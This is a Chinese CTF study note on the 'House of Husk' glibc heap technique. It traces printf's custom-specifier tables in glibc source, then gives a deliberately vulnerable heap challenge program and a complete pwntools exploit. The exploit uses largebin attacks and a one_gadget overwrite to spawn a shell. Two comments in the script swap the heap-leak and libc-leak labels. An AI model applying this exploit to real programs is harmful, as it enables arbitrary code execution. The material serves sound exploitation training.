【我的 PWN 学习手札】House of Husk
House of Husk
House of Husk是利用格式化输出函数如printf、vprintf在打印输出时，会解析格式化字符如%x、%lld从而调用不同的格式化打印方法（函数）。同时C语言还提供了注册自定义格式化字符的方法。注册自定义格式化字符串输出方法，实际上是通过两张保存在全局的表实现的。为此我们以伪装/篡改这两张表为核心目标，劫持函数指针，从而控制程序流。
一、printf调用过程
printf是通过ldbl_strong_alias创建的__printf的别名，__printf又调用了vfprintf
因此printf➡__printf➡vfprintf
// stdio-common/printf.c
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
#undef _IO_printf
ldbl_strong_alias (__printf, printf);
vfprintf中预设了进行自定义格式化字符串处理的分支do_positional，其中继续调用printf_positional函数
因此vfprintf➡do_positional➡printf_positional
/* The function itself. */
int vfprintf(FILE *s, const CHAR_T *format, va_list ap)
{
...
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely(
__printf_function_table != NULL ||
__printf_modifier_table != NULL ||
__printf_va_arg_table != NULL
)
) // 当三个表之一不为空时，即说明有自定义的格式化字符串处理方法
goto do_positional;
/* Process whole format string. */ //执行默认的格式化打印规则
do
{
...
} while (*f != L_('\0'));
/* Unlock stream and return. */
goto all_done;
/* Hand off processing for positional parameters. */
do_positional:
if (__glibc_unlikely(workstart != NULL))
{
free(workstart);
workstart = NULL;
}
done = printf_positional(s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
all_done:
...
return done;
}
printf_positional函数中，检查自定义的格式化操作表，选择自定义格式化字符对应的函数指针，传入参数，完成自定义格式化操作。
因此printf_positional➡__printf_function_table[(size_t)spec](s, &specs[nspecs_done].info, ptr);
static int
printf_positional(_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
...
for (const UCHAR_T *f = lead_str_end; *f != L_('\0');
f = specs[nspecs++].next_fmt)
{
...
/* Parse the format specifier. */
nargs += __parse_one_specmb(f, nargs, &specs[nspecs], &max_ref_arg);
}
...
/* Now walk through all format specifiers and process them. */
for (; (size_t)nspecs_done < nspecs; ++nspecs_done)
{
...
/* Fill variables from values in struct. */
...
/* Fill in last information. */
...
/* Maybe the buffer is too small. */
...
/* Process format specifiers. */
while (1)
{
extern printf_function **__printf_function_table;
int function_done;
if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t)spec] != NULL)
{
const void **ptr = alloca(specs[nspecs_done].ndata_args * sizeof(const void *));
/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */
function_done = __printf_function_table[(size_t)spec](s, &specs[nspecs_done].info, ptr);
...
}
}
...
}
all_done:
...
}
另外，printf_positional➡__parse_one_specmb()➡(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type,&spec->size)
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
{
...
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
...
}
...
}
因此不论是__printf_arginfo_table还是__printf_function_table的注册函数都会被调用，这两个地方都可以用作劫持。然而有几点需要注意
__printf_arginfo_table中的函数指针先被调用，__printf_function_table中的函数指针后被调用- 一般通过
vprintf的__printf_function_table != null触发自定义格式化字符解析的分支 - 由于
"1"和"2"，如果借助__printf_arginfo_table劫持程序流，一般也需要确保__printf_function_table != null - 由于
"1"和"2"，如果借助__printf_function_table劫持程序流，需要确保__printf_arginfo_table != null，否则会出现错误；而且因此也需要__printf_arginfo_table[spec->info.spec]==null
二、格式化字符处理函数注册机制
既然存在"自定义字符-自定义格式化函数"的映射处理机制，我们不妨看一下注册函数，来帮助我们更好理解，这几张表的作用。
通过在源码项目中查找"__printf_function_table"字符串，可以定位到"stdio-common/reg-printf.c"中的__register_printf_specifier函数
/* Register FUNC to be called to format SPEC specifiers. */
int __register_printf_specifier(int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int)UCHAR_MAX)
{
__set_errno(EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock(lock);
if (__printf_function_table == NULL) // 如果为空，说明是第一次注册，开始建表
{
__printf_arginfo_table = (printf_arginfo_size_function **)
// /* Maximum value an `unsigned char' can hold. (Minimum is 0.) */
// # define UCHAR_MAX 255
calloc(UCHAR_MAX + 1, sizeof(void *) * 2); //创建表，分配一段大小为(UCHAR_MAX + 1) * sizeof(void *) * 2的连续空间
//可以存储0x200个(void*)类型数据
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
// __printf_arginfo_table 占分配空间前0x100个(void*)的空间
// __printf_function_table占分配空间后0x100个(void*)的空间
// |__printf_arginfo_table | __printf_function_table|
// |<--------0x100-------->|<---------0x100-------->| 每个单元大小：sizeof(void*)
__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}
//自定义格式化字符spec与两张表的映射关系即索引关系
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock(lock);
return result;
}
libc_hidden_def(__register_printf_specifier)
weak_alias(__register_printf_specifier, register_printf_specifier);
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_function (int spec, printf_function converter, // 封装__register_printf_specifier
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
weak_alias (__register_printf_function, register_printf_function)
三、模板题与题解
pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
printf("invalid choice %d.\n", choice);
}
}
}
exp.py
from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
io=process("./pwn")
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)
delete(2)
add(10,0x500)
# 泄露heap_base
show(2)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1d20b0
success("libc base: "+hex(libc.address))
# 泄露libc_base
edit(2,b'a'*8*2)
show(2)
io.recvline()
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success("heap base: "+hex(heap_base))
edit(2,p64(libc.address+0x1d20b0)*2+p64(heap_base+0x6d0))
# 通过偏移获取两张全局表的位置
__printf_function_table = libc.address + 0x1d3980
__printf_arginfo_table = libc.address+ 0x1d2890
# largebin attack 让__printf_function_table指向一块内存，
# 之后将该内存申请出来在对应应该调用的函数指针位置写入one_gadget
edit(2,p64(0)*3+p64(__printf_function_table-0x20))
delete(0)
add(0,0x100)
'''
0xd3361 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xd3364 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xd3367 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadgets=[i +libc.address for i in [0xd3361,0xd3364,0xd3367]]
edit(2,p64(libc.address+0x1d20b0)*2+p64(heap_base+0x6d0)*2)
add(2,0x428)
#########################################################
# 发现只写__printf_function_table，而__printf_arginfo_table为空时会在__parse_one_specmb的if判断中崩溃
# 于是这里再次largebin attack让__printf_arginfo_table指向一块堆区域，
# 同时由于堆未写入数据，很容易满足__printf_arginfo_table[spec]=null
add(10,0x300)
add(10,0x418)
add(11,0x18)
add(12,0x428)
add(13,0x18)
delete(12)
add(20,0x500)
edit(12,p64(0)*3+p64(__printf_arginfo_table-0x20))
delete(10)
add(10,0x100)
##########################################################
edit(2,(ord('d')-2)*p64(0)+p64(one_gadgets[0]))
io.sendlineafter(b"choice:",b"~!@")
io.interactive()
